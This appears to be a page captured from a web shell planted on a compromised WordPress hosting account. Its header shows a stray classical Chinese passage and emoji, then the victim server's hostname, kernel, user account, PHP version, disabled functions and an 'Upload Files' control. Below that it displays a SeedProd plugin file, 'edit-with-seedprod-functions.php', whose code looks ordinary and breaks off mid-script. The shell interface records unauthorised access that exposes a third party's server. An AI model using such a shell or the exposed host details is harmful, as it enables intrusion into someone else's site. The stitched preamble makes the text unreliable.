Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭 HEX
HEX
Server: Apache
System: Linux webm006.cluster120.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: studionolh (122383)
PHP: 7.3.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/studionolh/www/wp-content/plugins/coming-soon/admin/includes/edit-with-seedprod-functions.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

/**
 * Edit with SeedProd - Version 2 (Complete Rewrite)
 *
 * This file handles the "Edit with SeedProd" button functionality in the WordPress page editor.
 *
 * TWO PATHS:
 * 1. Template Mode: Convert WordPress page to SeedProd landing page (standalone)
 * 2. Builder Mode: Edit existing SeedProd page (landing page or theme page)
 *
 * METADATA:
 * - _seedprod_page = 1                    -> Standalone landing page
 * - _seedprod_edited_with_seedprod = 1   -> Theme page (edited with SeedProd)
 *
 * These are mutually exclusive - a page is either standalone OR part of theme.
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * ============================================================================
 * SECTION 1: PHP - Determine Button State and Generate Data
 * ============================================================================
 */

/**
 * Add body class and enqueue CSS for pages managed by SeedProd
 *
 * @param string $classes The current admin body classes.
 * @return string Modified body classes.
 */
function seedprod_lite_v2_admin_body_class( $classes ) {
	$screen = get_current_screen();

	// Only on page editor.
	if ( ! $screen || 'page' !== $screen->post_type ) {
		return $classes;
	}

	// Check if we're editing an existing page.
	if ( empty( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only display, no action taken.
		return $classes;
	}

	$post_id = absint( wp_unslash( $_GET['post'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only display, no action taken.

	// Check if page is managed by SeedProd.
	$is_seedprod_page        = get_post_meta( $post_id, '_seedprod_page', true );
	$is_edited_with_seedprod = get_post_meta( $post_id, '_seedprod_edited_with_seedprod', true );

	// IMPORTANT: Validate post_content_filtered actually contains SeedProd JSON.
	// Don't just check if it's not empty - other plugins can use this field!
	$post_content_filtered = get_post_field( 'post_content_filtered', $post_id );
	$has_seedprod_content  = false;
	if ( ! empty( $post_content_filtered ) ) {
		// Verify it's actually SeedProd JSON by checking for template_id marker.
		$decoded = json_decode( $post_content_filtered, true );
		if ( is_array( $decoded ) && isset( $decoded['template_id'] ) ) {
			$has_seedprod_content = true;
		}
	}

	// Check if page is managed by SeedProd (handle both string '1' and boolean true).
	$is_managed_by_seedprod = ( '1' === $is_seedprod_page || true === $is_seedprod_page ) ||
								( '1' === $is_edited_with_seedprod || true === $is_edited_with_seedprod ) ||
								$has_seedprod_content;

	// Only check for special page template if page is NOT already managed by SeedProd.
	// This avoids unnecessary database queries and keeps logic consistent.
	if ( ! $is_managed_by_seedprod ) {
		// Check if this page is the WordPress homepage or blog page with a SeedProd theme template.
		$special_page_template_id = seedprod_lite_v2_find_special_page_template( $post_id );
		if ( null !== $special_page_template_id ) {
			$is_managed_by_seedprod = true;
		}
	}

	if ( $is_managed_by_seedprod ) {
		$classes .= ' seedprod-editor-active';
	}

	return $classes;
}
add_filter( 'admin_body_class', 'seedprod_lite_v2_admin_body_class' );


/**
 * Enqueue CSS for hiding editor and showing message
 */
function seedprod_lite_v2_enqueue_admin_css() {
	$screen = get_current_screen();

	// Only on page editor.
	if ( ! $screen || 'page' !== $screen->post_type ) {
		return;
	}

	// Enqueue directly as inline style in head.
	add_action(
		'admin_head',
		function () {
			?>
		<style type="text/css">
		/* Hide WordPress editor when SeedProd is active */
		body.seedprod-editor-active .block-editor-block-list__layout,
		body.seedprod-editor-active .editor-styles-wrapper,
		body.seedprod-editor-active .editor-styles-wrapper > *,
		body.seedprod-editor-active .block-editor-writing-flow,
		body.seedprod-editor-active .is-root-container,
		body.seedprod-editor-active iframe[name="editor-canvas"],
		body.seedprod-editor-active #postdivrich {
			display: none !important;
		}

		/* Ensure the visual editor area is also hidden */
		body.seedprod-editor-active .edit-post-visual-editor,
		body.seedprod-editor-active .block-editor-editor-skeleton__content {
			background: transparent !important;
		}

		/* Show SeedProd message */
		#seedprod-managed-message {
			text-align: center;
			padding: 60px 20px;
			background: #f9f9f9;
			border: 1px solid #ddd;
			margin: 20px;
		}

		#seedprod-managed-message h2 {
			margin: 0 0 20px 0;
			font-size: 24px;
			color: #333;
		}

		#seedprod-managed-message .button {
			display: inline-flex;
			align-items: center;
			justify-content: center;
			font-size: 16px;
			padding: 12px 24px;
			height: auto;
		}

		#seedprod-managed-message .button img {
			margin-right: 8px;
			width: 20px;
			height: 20px;
		}
		</style>
			<?php
		}
	);
}
add_action( 'admin_enqueue_scripts', 'seedprod_lite_v2_enqueue_admin_css' );


/**
 * Add "Page managed by SeedProd" message in editor
 */
function seedprod_lite_v2_add_managed_message() {
	$screen = get_current_screen();

	// Only on page editor.
	if ( ! $screen || 'page' !== $screen->post_type ) {
		return;
	}

	// Check if we're editing an existing page.
	if ( empty( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only display, no action taken.
		return;
	}

	$post_id = absint( $_GET['post'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only display, no action taken.

	// Check if page is managed by SeedProd.
	$is_seedprod_page        = get_post_meta( $post_id, '_seedprod_page', true );
	$is_edited_with_seedprod = get_post_meta( $post_id, '_seedprod_edited_with_seedprod', true );

	// IMPORTANT: Validate post_content_filtered actually contains SeedProd JSON.
	// Don't just check if it's not empty - other plugins can use this field!
	$post_content_filtered = get_post_field( 'post_content_filtered', $post_id );
	$has_seedprod_content  = false;
	if ( ! empty( $post_content_filtered ) ) {
		// Verify it's actually SeedProd JSON by checking for template_id marker.
		$decoded = json_decode( $post_content_filtered, true );
		if ( is_array( $decoded ) && isset( $decoded['template_id'] ) ) {
			$has_seedprod_content = true;
		}
	}

	// Check if page is managed by SeedProd (handle both string '1' and boolean true).
	$is_managed_by_seedprod = ( '1' === $is_seedprod_page || true === $is_seedprod_page ) ||
								( '1' === $is_edited_with_seedprod || true === $is_edited_with_seedprod ) ||
								$has_seedprod_content;

	// PRIORITY: If page itself is a SeedProd page, use that - don't check for theme template.
	// Only check for special page theme template if the page is NOT already a SeedProd page.
	$special_page_template_id = null;
	$template_edit_url        = null;

	if ( ! $is_managed_by_seedprod ) {
		// Page is NOT a SeedProd page - check if it's the homepage or blog page with a theme template.
		$special_page_template_id = seedprod_lite_v2_find_special_page_template( $post_id );

		if ( null !== $special_page_template_id ) {
			// This page is rendered by a theme template - show message for the template.
			$is_managed_by_seedprod = true;
			$template_edit_url      = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $special_page_template_id . '#/setup/' . $special_page_template_id;
		}
	}

	if ( ! $is_managed_by_seedprod ) {
		return;
	}

	// Build edit URL (use template URL only if page is NOT a SeedProd page AND has homepage template).
	$edit_url = $template_edit_url ? $template_edit_url : admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $post_id . '#/setup/' . $post_id;

	?>
	<script type="text/javascript">
	jQuery(document).ready(function($) {
		var messageHtml = '<div id="seedprod-managed-message">' +
			'<h2><?php echo esc_js( __( 'This page is managed by SeedProd', 'coming-soon' ) ); ?></h2>' +
			'<a href="<?php echo esc_url( $edit_url ); ?>" class="button button-primary button-large">' +
				'<img src="<?php echo esc_url( SEEDPROD_PLUGIN_URL . 'public/svg/admin-bar-icon.svg' ); ?>" />' +
				'<?php echo esc_js( __( 'Edit with SeedProd', 'coming-soon' ) ); ?>' +
			'</a>' +
		'</div>';

		// Wait for Gutenberg to load
		var checkExist = setInterval(function() {
			// Target the specific Gutenberg content container
			var targetContainer = $('.interface-interface-skeleton__content[aria-label="Editor content"]');

			if (targetContainer.length && !$('#seedprod-managed-message').length) {
				targetContainer.prepend(messageHtml);
				clearInterval(checkExist);
				return;
			}

			// Check for Classic editor
			if ($('#postdivrich').length && !$('#seedprod-managed-message').length) {
				$('#postdivrich').after(messageHtml);
				clearInterval(checkExist);
				return;
			}
		}, 100);
	});
	</script>
	<?php
}
add_action( 'admin_footer', 'seedprod_lite_v2_add_managed_message' );


/**
 * ============================================================================
 * SECTION 2: Enqueue Gutenberg Toolbar Script
 * ============================================================================
 */

/**
 * Enqueue script for Gutenberg toolbar button
 * Runs on enqueue_block_editor_assets for Gutenberg pages
 */
function seedprod_lite_v2_enqueue_toolbar_script() {
	$screen = get_current_screen();

	// Only run on page editor.
	if ( ! $screen || 'page' !== $screen->post_type ) {
		return;
	}

	// Check user permissions.
	if ( ! current_user_can( 'edit_pages' ) ) {
		return;
	}

	// Check if we should show the button.
	$theme_enabled = get_option( 'seedprod_theme_enabled' );

	// If editing an existing page, check if it's already a SeedProd page.
	$post_id                 = 0;
	$is_seedprod_page        = false;
	$is_edited_with_seedprod = false;

	if ( ! empty( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only display, no action taken.
		$post_id                 = absint( wp_unslash( $_GET['post'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only display, no action taken.
		$is_seedprod_page        = get_post_meta( $post_id, '_seedprod_page', true );
		$is_edited_with_seedprod = get_post_meta( $post_id, '_seedprod_edited_with_seedprod', true );
	}

	// Handle both string '1' and boolean true.
	$is_already_seedprod = ( '1' === $is_seedprod_page || true === $is_seedprod_page ) ||
							( '1' === $is_edited_with_seedprod || true === $is_edited_with_seedprod );

	// Only show button if:
	// 1. Theme builder is enabled, OR
	// 2. This page is already a SeedProd page.
	if ( empty( $theme_enabled ) && ! $is_already_seedprod ) {
		return;
	}

	// Register a dummy script handle to attach inline script to.
	wp_register_script( 'seedprod-gutenberg-button', '', array( 'jquery', 'wp-data', 'wp-editor' ), SEEDPROD_VERSION, true );
	wp_enqueue_script( 'seedprod-gutenberg-button' );

	// Localize translatable strings.
	$translations = array(
		'buttonText'   => __( 'Edit with SeedProd', 'coming-soon' ),
		'defaultTitle' => __( 'SeedProd', 'coming-soon' ),
	);

	wp_localize_script( 'seedprod-gutenberg-button', 'seedprodGutenbergStrings', $translations );

	// Localize AJAX settings.
	wp_localize_script(
		'seedprod-gutenberg-button',
		'seedprodGutenbergAjax',
		array(
			'ajaxUrl' => admin_url( 'admin-ajax.php' ),
			'nonce'   => wp_create_nonce( 'seedprod_gutenberg_nonce' ),
		)
	);

	// Add inline JavaScript.
	wp_add_inline_script(
		'seedprod-gutenberg-button',
		'(function($, wp) {
			"use strict";

			var SeedProdGutenberg = {
				buttonAdded: false,

				init: function() {
					this.addButton();

					// Re-add button when Gutenberg re-renders (but only if it was removed)
					var self = this;
					wp.data.subscribe(function() {
						setTimeout(function() {
							// Only try to add if button was previously added but is now missing
							if (self.buttonAdded && !$("#seedprod-edit-button").length) {
								self.addButton();
							} else if (!self.buttonAdded) {
								// First time, try to add
								self.addButton();
							}
						}, 1);
					});
				},

				addButton: function() {
					var toolbar = $(".edit-post-header-toolbar");

					// Check if button already exists
					if ($("#seedprod-edit-button").length) {
						return;
					}

					// Check if toolbar exists
					if (!toolbar.length) {
						return;
					}

					this.buttonAdded = true;

					// Create button element (safer than HTML string)
					var button = $("<button>")
						.attr("id", "seedprod-edit-button")
						.attr("type", "button")
						.addClass("components-button is-primary")
						.css("margin-left", "10px")
						.html(
							\'<img src="' . esc_url( SEEDPROD_PLUGIN_URL . 'public/svg/admin-bar-icon.svg' ) . '" style="margin-right: 7px; width: 20px; height: 20px; vertical-align: middle;" />\' +
							\'<span>\' + seedprodGutenbergStrings.buttonText + \'</span>\'
						);

					toolbar.append(button);

					// Bind click event
					button.on("click", function(e) {
						e.preventDefault();
						SeedProdGutenberg.handleClick();
					});
				},

				handleClick: function() {
					// Get post data
					var currentPost = wp.data.select("core/editor").getCurrentPost();
					var postStatus = currentPost.status;
					var postId = currentPost.id;

					// Get the edited title (what user typed), not the saved title
					var postTitle = wp.data.select("core/editor").getEditedPostAttribute("title");
					var isAutoDraft = postStatus === "auto-draft";

					// Check if new unsaved post
					if (isAutoDraft) {
						// Set title only if empty
						if (!postTitle || postTitle.trim() === "") {
							var newTitle = seedprodGutenbergStrings.defaultTitle + " #" + postId;
							wp.data.dispatch("core/editor").editPost({ title: newTitle });
						}

						// Save the post
						wp.data.dispatch("core/editor").savePost();

						// Wait for save to complete
						this.waitForSave();
					} else {
						this.getRedirectUrl(postId);
					}
				},

				waitForSave: function() {
					var self = this;

					var checkSave = function() {
						var isSaving = wp.data.select("core/editor").isSavingPost();

						if (isSaving) {
							setTimeout(checkSave, 300);
						} else {
							// Save completed - get updated post data
							var savedPost = wp.data.select("core/editor").getCurrentPost();

							// Now get redirect URL from server
							self.getRedirectUrl(savedPost.id);
						}
					};

					setTimeout(checkSave, 300);
				},

				getRedirectUrl: function(postId) {
					$.ajax({
						url: seedprodGutenbergAjax.ajaxUrl,
						type: "POST",
						data: {
							action: "seedprod_lite_v2_get_redirect_url",
							nonce: seedprodGutenbergAjax.nonce,
							post_id: postId
						},
						success: function(response) {
							if (response.success) {
								// Redirect to SeedProd
								location.href = response.data.redirect_url;
							} else {
								console.error("Error:", response.data.message);
								alert("Error: " + response.data.message);
							}
						},
						error: function(xhr, status, error) {
							console.error("AJAX Error:", status, error);
							alert("Failed to get redirect URL. Check console for details.");
						}
					});
				}
			};

			// Initialize when DOM is ready
			$(function() {
				SeedProdGutenberg.init();
			});

		})(jQuery, wp);'
	);
}
add_action( 'enqueue_block_editor_assets', 'seedprod_lite_v2_enqueue_toolbar_script' );


/**
 * ============================================================================
 * SECTION 3: AJAX Handlers
 * ============================================================================
 */

/**
 * Find existing theme template for special pages (homepage or blog/posts page)
 * Manually checks template conditions since WordPress conditional tags don't work in admin
 *
 * @param int $page_id The WordPress page ID to check
 * @return int|null Template post ID if found, null otherwise
 */
function seedprod_lite_v2_find_special_page_template( $page_id ) {
	// Check if this page is the WordPress homepage or blog page.
	$show_on_front  = get_option( 'show_on_front' );
	$page_on_front  = get_option( 'page_on_front' );
	$page_for_posts = get_option( 'page_for_posts' );
	$is_homepage    = ( 'page' === $show_on_front && absint( $page_on_front ) === absint( $page_id ) );
	$is_blog_page   = ( 'page' === $show_on_front && ! empty( $page_for_posts ) && absint( $page_for_posts ) === absint( $page_id ) );

	// Not a static homepage setup, or not the homepage/blog page.
	if ( ! $is_homepage && ! $is_blog_page ) {
		return null;
	}

	// Check if theme builder is enabled
	$theme_enabled = get_option( 'seedprod_theme_enabled' );
	if ( empty( $theme_enabled ) ) {
		return null;
	}

	// Get all published page templates, ordered by priority
	global $wpdb;
	$tablename1 = $wpdb->prefix . 'posts';
	$tablename2 = $wpdb->prefix . 'postmeta';

	$sql = "SELECT p.ID, p.menu_order,
	               (SELECT meta_value FROM $tablename2 WHERE meta_key = '_seedprod_theme_template_condition' AND post_id = p.ID) as conditions
	        FROM $tablename1 p
	        INNER JOIN $tablename2 pm ON p.ID = pm.post_id
	        WHERE pm.meta_value = 'page'
	        AND pm.meta_key = '_seedprod_page_template_type'
	        AND p.post_status = 'publish'
	        AND p.post_type = 'seedprod'
	        ORDER BY p.menu_order DESC";

	$potential_templates = $wpdb->get_results( $sql ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

	// Check each template's conditions (in priority order)
	foreach ( $potential_templates as $template ) {
		if ( empty( $template->conditions ) ) {
			continue;
		}

		$conditions = json_decode( $template->conditions );
		if ( empty( $conditions ) || ( ! is_array( $conditions ) && ! is_object( $conditions ) ) ) {
			continue;
		}

		// Check if this template matches the homepage
		$matches = false;

		foreach ( $conditions as $condition ) {
			if ( ! isset( $condition->condition ) || ! isset( $condition->type ) ) {
				continue;
			}

			// Only check 'include' conditions
			if ( 'include' !== $condition->condition ) {
				continue;
			}

			// Check each condition type that could match the homepage or blog page.
			switch ( $condition->type ) {
				case 'is_front_page':
					if ( $is_homepage ) {
						$matches = true;
					}
					break;

				case 'is_home':
					if ( $is_blog_page ) {
						$matches = true;
					}
					break;

				case 'is_page(x)':
					// Matches all pages (including homepage)
					// Check if there's a specific page ID condition
					if ( ! empty( $condition->value ) ) {
						// Check if this specific page is in the list
						$page_ids = explode( ',', $condition->value );
						$page_ids = array_map( 'trim', $page_ids );
						if ( in_array( (string) $page_id, $page_ids, true ) ) {
							$matches = true;
						}
					} else {
						// No specific pages - matches all pages
						$matches = true;
					}
					break;

				case 'is_singular':
					// Matches all singular content (pages and posts)
					$matches = true;
					break;

				case '_entire_site':
					// Matches everything
					$matches = true;
					break;
			}

			// If we found a match, no need to check other conditions (OR logic)
			if ( $matches ) {
				break;
			}
		}

		// Check exclude conditions - if any exclude matches, skip this template
		if ( $matches ) {
			foreach ( $conditions as $condition ) {
				if ( ! isset( $condition->condition ) || ! isset( $condition->type ) ) {
					continue;
				}

				if ( 'exclude' !== $condition->condition ) {
					continue;
				}

				// Check if this special page is excluded.
				switch ( $condition->type ) {
					case 'is_front_page':
						if ( $is_homepage ) {
							$matches = false;
						}
						break;

					case 'is_home':
						if ( $is_blog_page ) {
							$matches = false;
						}
						break;

					case 'is_page(x)':
						if ( ! empty( $condition->value ) ) {
							$page_ids = explode( ',', $condition->value );
							$page_ids = array_map( 'trim', $page_ids );
							if ( in_array( (string) $page_id, $page_ids, true ) ) {
								$matches = false;
							}
						} else {
							$matches = false;
						}
						break;

					case 'is_singular':
						$matches = false;
						break;

					case '_entire_site':
						$matches = false;
						break;
				}

				// If excluded, stop checking
				if ( ! $matches ) {
					break;
				}
			}
		}

		// First matching template wins (due to priority order)
		if ( $matches ) {
			return absint( $template->ID );
		}
	}

	return null;
}

/**
 * Get redirect URL for "Edit with SeedProd" button
 * Determines whether to go to template picker or builder based on:
 * - Existing SeedProd meta
 * - Theme builder status
 */
function seedprod_lite_v2_get_redirect_url() {
	// Verify nonce.
	check_ajax_referer( 'seedprod_gutenberg_nonce', 'nonce' );

	// Get post ID.
	$post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0; // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verified above.

	if ( ! $post_id ) {
		wp_send_json_error( array( 'message' => __( 'Invalid post ID', 'coming-soon' ) ) );
	}

	// Check user can edit this post.
	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_send_json_error( array( 'message' => __( 'Permission denied', 'coming-soon' ) ) );
	}

	// Check if theme builder is enabled first
	$theme_enabled = get_option( 'seedprod_theme_enabled' );

	// Check if page already has SeedProd meta.
	$is_seedprod_page        = get_post_meta( $post_id, '_seedprod_page', true );
	$is_edited_with_seedprod = get_post_meta( $post_id, '_seedprod_edited_with_seedprod', true );

	// IMPORTANT: Validate post_content_filtered actually contains SeedProd JSON.
	// Don't just check if it's not empty - other plugins can use this field!
	$post_content_filtered = get_post_field( 'post_content_filtered', $post_id );
	$has_seedprod_content  = false;
	if ( ! empty( $post_content_filtered ) ) {
		// Verify it's actually SeedProd JSON by checking for template_id marker.
		$decoded = json_decode( $post_content_filtered, true );
		if ( is_array( $decoded ) && isset( $decoded['template_id'] ) ) {
			$has_seedprod_content = true;
		}
	}

	// Handle both string '1' and boolean true.
	$already_seedprod = ( '1' === $is_seedprod_page || true === $is_seedprod_page ) ||
						( '1' === $is_edited_with_seedprod || true === $is_edited_with_seedprod ) ||
						$has_seedprod_content;

	// If already a SeedProd page and theme builder is enabled, ensure proper meta.
	if ( $already_seedprod && ! empty( $theme_enabled ) ) {
		// Get the post to check for new WordPress content.
		$post = get_post( $post_id );

		// Check if there's WordPress content that needs to be merged.
		if ( ! empty( $post->post_content ) ) {
			// Load existing SeedProd template.
			$existing_data = json_decode( $post->post_content_filtered, true );

			// Count total blocks to see if we need to merge content.
			$total_blocks = 0;
			if ( ! empty( $existing_data['document']['sections'] ) && is_array( $existing_data['document']['sections'] ) ) {
				foreach ( $existing_data['document']['sections'] as $section ) {
					if ( isset( $section['rows'] ) && is_array( $section['rows'] ) ) {
						foreach ( $section['rows'] as $row ) {
							if ( isset( $row['cols'] ) && is_array( $row['cols'] ) ) {
								foreach ( $row['cols'] as $col ) {
									if ( isset( $col['blocks'] ) && is_array( $col['blocks'] ) ) {
										$total_blocks += count( $col['blocks'] );
									}
								}
							}
						}
					}
				}
			}

			// Only merge if there are no blocks yet.
			if ( 0 === $total_blocks ) {
				// Load basic template if sections are empty.
				if ( empty( $existing_data['document']['sections'] ) ) {
					require_once SEEDPROD_PLUGIN_PATH . 'resources/data-templates/basic-page.php';
					$basic_data                            = json_decode( $seedprod_basic_lpage, true );
					$existing_data['document']['sections'] = $basic_data['document']['sections'];
				}

				// Create an HTML block with the existing content.
				$html_block = array(
					'id'       => 'sp-' . wp_generate_password( 6, false ),
					'type'     => 'htmlblock',
					'settings' => array(
						'html_content' => $post->post_content,
					),
				);

				// Add the HTML block to the first section's first row.
				if ( isset( $existing_data['document']['sections'][0]['rows'][0] ) ) {
					if ( ! isset( $existing_data['document']['sections'][0]['rows'][0]['cols'][0] ) ) {
						$existing_data['document']['sections'][0]['rows'][0]['cols'][0] = array(
							'id'       => 'sp-' . wp_generate_password( 6, false ),
							'blocks'   => array(),
							'settings' => array(),
						);
					}
					$existing_data['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][] = $html_block;

					// Save updated template data.
					// Use wp_slash to prevent wp_update_post from stripping slashes that wp_json_encode adds.
					wp_update_post(
						array(
							'ID'                    => $post_id,
							'post_content_filtered' => wp_slash( wp_json_encode( $existing_data ) ),
						)
					);
				}
			}
		}

		// Make sure it's marked as a theme page, not a landing page.
		update_post_meta( $post_id, '_seedprod_edited_with_seedprod', '1' );
		delete_post_meta( $post_id, '_seedprod_page' );

		$redirect_url = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $post_id . '#/setup/' . $post_id;

		wp_send_json_success(
			array(
				'redirect_url' => $redirect_url,
				'reason'       => 'existing_seedprod_page_with_theme_enabled',
				'theme_status' => $theme_enabled,
			)
		);
	}

	// If already a SeedProd page (and theme NOT enabled), go directly to builder.
	if ( $already_seedprod ) {
		$redirect_url = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $post_id . '#/setup/' . $post_id;

		wp_send_json_success(
			array(
				'redirect_url' => $redirect_url,
				'reason'       => 'existing_seedprod_page',
				'meta'         => array(
					'is_seedprod_page'        => $is_seedprod_page,
					'is_edited_with_seedprod' => $is_edited_with_seedprod,
					'has_content_filtered'    => $has_seedprod_content,
				),
			)
		);
	}

	// PRIORITY CHECK: If NOT already a SeedProd page, check if this is the WordPress homepage
	// or blog page with an existing SeedProd theme template. If so, redirect to that template.
	$special_page_template_id = seedprod_lite_v2_find_special_page_template( $post_id );
	if ( null !== $special_page_template_id ) {
		// Found an existing special page template - redirect to edit it.
		$redirect_url = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $special_page_template_id . '#/setup/' . $special_page_template_id;

		wp_send_json_success(
			array(
				'redirect_url' => $redirect_url,
				'reason'       => 'special_page_template_exists',
				'template_id'  => $special_page_template_id,
				'page_id'      => $post_id,
				'message'      => __( 'Redirecting to page template', 'coming-soon' ),
			)
		);
	}

	// New page - check if theme builder is enabled.
	if ( ! empty( $theme_enabled ) ) {
		// Theme builder is enabled - seed the page with basic template.
		// This replicates the logic from builder.php lines 189-197.

		// Get the post to preserve title and copy content.
		$post = get_post( $post_id );

		// Load basic template (same as builder.php does).
		require_once SEEDPROD_PLUGIN_PATH . 'resources/data-templates/basic-page.php';
		$settings                            = json_decode( $seedprod_basic_lpage, true );
		$settings['page_type']               = 'post'; // Set to 'post' for theme pages.
		$settings['from_edit_with_seedprod'] = true;

		// Preserve the existing title and slug.
		$settings['post_title'] = $post->post_title;
		$settings['post_name']  = $post->post_name;

		// Copy existing WordPress content if it exists.
		// This uses the same logic as lpage.php lines 1075-1084.
		if ( ! empty( $post->post_content ) ) {
			// Load the special current_content template (decode as array to match $settings structure).
			$current_content                  = $post->post_content;
			$settings['document']['sections'] = json_decode( $seedprod_current_content, true );

			// Set the text block content (strip HTML comments with s modifier to handle multiline comments).
			$clean_content = preg_replace( '/<!--(.*?)-->/s', '', $current_content );

			// Verify the structure exists before setting content.
			if ( isset( $settings['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][0]['settings'] ) ) {
				$settings['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][0]['settings']['txt'] = $clean_content;
			}
		}

		// Save template data to post_content_filtered.
		// Use wp_slash to prevent wp_update_post from stripping slashes that wp_json_encode adds.
		wp_update_post(
			array(
				'ID'                    => $post_id,
				'post_content_filtered' => wp_slash( wp_json_encode( $settings ) ),
			)
		);

		// Mark as theme page.
		update_post_meta( $post_id, '_seedprod_edited_with_seedprod', '1' );
		delete_post_meta( $post_id, '_seedprod_page' );

		// Redirect to builder (no from=post needed since we pre-seeded).
		$redirect_url = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $post_id . '#/setup/' . $post_id;

		wp_send_json_success(
			array(
				'redirect_url' => $redirect_url,
				'reason'       => 'theme_builder_enabled',
				'theme_status' => $theme_enabled,
				'seeded'       => true,
			)
		);
	} else {
		// Theme builder NOT enabled - send to template picker for landing page.
		$nonce        = wp_create_nonce( 'seedprod_nonce' );
		$redirect_url = admin_url() . 'admin.php?page=seedprod_lite_template&_wpnonce=' . $nonce . '&from=post&id=' . $post_id . '#/template/' . $post_id;

		wp_send_json_success(
			array(
				'redirect_url' => $redirect_url,
				'reason'       => 'create_landing_page',
				'theme_status' => false,
			)
		);
	}
}
add_action( 'wp_ajax_seedprod_lite_v2_get_redirect_url', 'seedprod_lite_v2_get_redirect_url' );


/**
 * Remove SeedProd post meta when user clicks "Back to WordPress Editor"
 */
function seedprod_lite_v2_remove_post() {
	// TODO: Add logic here.
}
add_action( 'wp_ajax_seedprod_lite_v2_remove_post', 'seedprod_lite_v2_remove_post' );


/**
 * ============================================================================
 * SECTION 4: Admin Bar Menu Item
 * ============================================================================
 */

/**
 * Add "SeedProd Landing Page" to "+ New" menu in admin bar
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function seedprod_lite_v2_add_menu_item( $wp_admin_bar ) {
	// TODO: Add logic here.
}
add_action( 'admin_bar_menu', 'seedprod_lite_v2_add_menu_item', 80 );


/**
 * ============================================================================
 * SECTION 5: Page Row Actions
 * ============================================================================
 */

/**
 * Add "Edit with SeedProd" link to Pages list table
 *
 * @param array   $actions The row action links.
 * @param WP_Post $post    The post object.
 * @return array Modified row action links.
 */
function seedprod_lite_v2_filter_page_row_actions( $actions, $post ) {
	// Check for SeedProd pages.
	$is_landing_page = get_post_meta( $post->ID, '_seedprod_page', true );
	$is_theme_page   = get_post_meta( $post->ID, '_seedprod_edited_with_seedprod', true );

	// PRIORITY: Check if page is a SeedProd page FIRST, before checking for homepage template.
	// This ensures custom SeedProd pages set as homepage link to the page itself, not the theme template.
	$edit_url = null;

	if ( '1' === $is_landing_page || true === $is_landing_page || '1' === $is_theme_page || true === $is_theme_page ) {
		// It's a SeedProd page - link to the page itself.
		$edit_url = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $post->ID . '#/setup/' . $post->ID;
	} else {
		// NOT a SeedProd page - check if this is the WordPress homepage or blog page with a theme template.
		$special_page_template_id = seedprod_lite_v2_find_special_page_template( $post->ID );
		if ( null !== $special_page_template_id ) {
			// This page is rendered by a theme template - link to the template.
			$edit_url = admin_url() . 'admin.php?page=seedprod_lite_builder&id=' . $special_page_template_id . '#/setup/' . $special_page_template_id;
		}
	}

	// Add the link if we have a URL.
	if ( $edit_url ) {
		$actions['edit_seedprod'] = sprintf(
			'<a href="%1$s">%2$s</a>',
			esc_url( $edit_url ),
			__( 'Edit with SeedProd', 'coming-soon' )
		);
	}

	return $actions;
}
add_filter( 'page_row_actions', 'seedprod_lite_v2_filter_page_row_actions', 11, 2 );


/**
 * ============================================================================
 * SECTION 6: Page State Label
 * ============================================================================
 */

/**
 * Add "Edit with SeedProd" button to Classic Editor
 * Shows button in the publish meta box for classic editor
 */
function seedprod_lite_v2_classic_editor_button() {
	$screen = get_current_screen();

	// Only run on page editor.
	if ( ! $screen || 'page' !== $screen->post_type ) {
		return;
	}

	// Check user permissions.
	if ( ! current_user_can( 'edit_pages' ) ) {
		return;
	}

	// Check if we should show the button (same logic as Gutenberg).
	$theme_enabled = get_option( 'seedprod_theme_enabled' );

	$post_id                 = get_the_ID();
	$is_seedprod_page        = get_post_meta( $post_id, '_seedprod_page', true );
	$is_edited_with_seedprod = get_post_meta( $post_id, '_seedprod_edited_with_seedprod', true );
	// Handle both string '1' and boolean true.
	$is_already_seedprod = ( '1' === $is_seedprod_page || true === $is_seedprod_page ) ||
								( '1' === $is_edited_with_seedprod || true === $is_edited_with_seedprod );

	// Only show button if theme builder is enabled OR page is already SeedProd.
	if ( empty( $theme_enabled ) && ! $is_already_seedprod ) {
		return;
	}

	?>
	<div class="misc-pub-section seedprod-classic-editor-button" style="padding: 10px; border-top: 1px solid #ddd;">
		<button type="button" id="seedprod-classic-edit-button" class="button button-primary button-large" style="width: 100%;">
			<img src="<?php echo esc_url( SEEDPROD_PLUGIN_URL . 'public/svg/admin-bar-icon.svg' ); ?>" style="width: 20px; height: 20px; vertical-align: middle; margin-right: 7px;" />
			<?php esc_html_e( 'Edit with SeedProd', 'coming-soon' ); ?>
		</button>
	</div>

	<script type="text/javascript">
	jQuery(document).ready(function($) {
